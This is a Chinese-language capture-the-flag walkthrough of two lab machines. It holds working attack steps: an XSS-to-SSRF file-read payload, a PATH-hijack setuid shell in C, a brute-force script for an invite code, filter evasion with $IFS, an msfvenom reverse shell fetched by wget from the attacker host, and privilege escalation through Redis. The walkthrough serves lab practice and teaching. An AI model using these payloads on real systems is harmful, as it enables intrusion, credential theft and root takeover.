arp-scan -l 发现主机ip为192.168.75.147。
nmap -p 1-65535 -T4 -A -sV 192.168.75.147进行一波全部端口的扫描。开启了22,80端口。
我们直接看一看80端口,在test2目录下开启了一个web应用。用dirb对其进行一波目录的扫描,好像没得到什么有用的东西。我应该要先登陆一个账号,但是也没有扫到注册的地方。但是在首页给出了项目的地址,在install.php
中发现安装时会写入一个默认账号。
把MD5解密一下得到一个可用的账号。
admin:1234
登陆之后有两个功能。
编辑个人资料。
将个人资料导出pdf。
我们可以在修改名字的时候输入<script>alert(1)</script>
产生xss。
在生成的pdf中我们可以看到这样的一个信息,export.php 使用了wkhtmltopdf 用与pdf的转换。
要是我们用google搜索wkhtmltoimage read
可以看到这样一个issues。wkhtmltoimage存在ssrf和文件读取漏洞。
wkhtmltopdf 会跟随302重定向,并且会解析我们的file协议读取本地的文件,并转换为PDF。如果我们在服务器上放置1.php。
<?php
$file = $_GET['file'];
header("location:file://$file");
然后在name处填上<iframe src="http://192.168.75.131/1.php?file=/etc/passwd" width="100%" height=1220></iframe>
可以读取到/etc/passwd。可以看到有一个gemini1 用户。
然后尝试读取一下/home/gemini1/.ssh/id_rsa,如果可以读到用户的私钥的那我们可以直接ssh链接上去。
到此我们获得了一个低权限的shell。
uname -a 看一下内核版本是4.9.0,似乎没有直接可用的exp。这里要用到SUDI提权,可以看看这篇文章https://www.anquanke.com/post/id/86979。
先看看我们有哪些可以利用的文件。
有一个奇怪的listinfo,运行一哈,貌似是输出一些网络信息。用strings命令看看其中的字符。
可以看到其运行了date命令,并且未加上其绝对位置。这样的化,我们修改环境变量将date指向到我们构造好的shell之上,让root运行我们的shell,这样我们就可以提升我们的权限了。
创建一个1.c,然后上传到我们的靶机上,将其编译成date文件,并将环境变量指向date所在文件夹。
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash");
}
运行listinfo,get root!
arp-scan -l 获得靶机ip 192.168.75.149,和v1一样也是只开启了22和80端口。
v1中的账号密码在v2中已经不再适用了。还是老样子先扫一波目录。得到了两个在v1中没有的目录。
先访问registration.php注册一个账号,但是登陆时提示需要我们填写邀请码。
正好activate.php就是填写邀请码的界面,而之前提示过了密码是6位数字。那么我们写个脚本爆破一下。
import requests
import re
s = requests.session()
def post(num):
url = 'http://192.168.75.149/activate.php'
cookie = {'PHPSESSID':'husbpgapgpkcdtpedtmn3uj5c7'}
proxies = {'http':'http://127.0.0.1:8080'}
t = s.get(url=url,cookies = cookie)
token = re.search("'hidden' name='token' value='(.*?)'>",t.text).group(1)
post_data = {'userid':16,'activation_code':num,'token':token}
t = s.post(url = url,cookies = cookie,data = post_data)
print(num)
return t
for i in range(0,100000):
t = post((6-len(str(i)))*'0'+str(i))
if t.status_code != 403:
print('get',num)
break
成功的得到验证码000511,然后访问一下users_list.php,看熟悉的Gemini用户。在html源码中可以看到被注释掉的passwd。md5解开我们得到admin的账户Gemini:secretpassword 。
<!-- <b>Password:</b> edbd1887e772e13c251f688a5f10c1ffbb67960d<br/> -->
登陆上admin的账号,可以看到多了一项功能admin panel
但是访问确是403错误。抓个包看看,提示ip错误。
猜测必须要本地访问,http头加上X-Forwarded-For:127.0.0.1
成功访问。
admin功能中可以执行命令,但是没有回显也过滤了空格,>符,|符
这样的化我们写入文件就遇到了个问题。但是空格我们可以用$IFS作为空格绕过。
尝试wget$IFS'http://192.168.75.131/shell'
将shell下载到当前目录下,但是访问不到。然后经过一些尝试猜测该目录是不可写的。
于是我用msfvenom -p linux/x64/shell_reverse_tcp Lhost=192.168.75.131 lport=23333 -f elf -o pwn
生成一个反弹shell,再让靶机把我们的shell下载到tmp目录下,并执行。
wget$IFS'-P'$IFS'/tmp/'$IFS'http://192.168.75.131/pwn'
chmod$IFS'777'$IFS'/tmp/pwn'
/tmp/pwn
这样我们收到了一个反弹shell,我们将我们的公钥写到/home/gemini1/.ssh/authorized_keys中,到此我们获得了一个低权限的shell。
同样的内核版本为4.9.0。
但是我们ps -ef|grep redis,可以看到开启了redis并以root权限运行。那这样的化我们可以通过redis写入root的authorized_keys,从而提升我们的权限。
尝试直接redis-cli -h 127.0.0.1 -p 6379,报错(error) NOAUTH Authentication required.
,那这样的化我们需要一个密码。在/etc/redis,cat 6379.conf |grep pass。得到requirepass 8a7b86a2cd89d96dfcc125ebcc0535e6
。
然后ssh登陆root即可。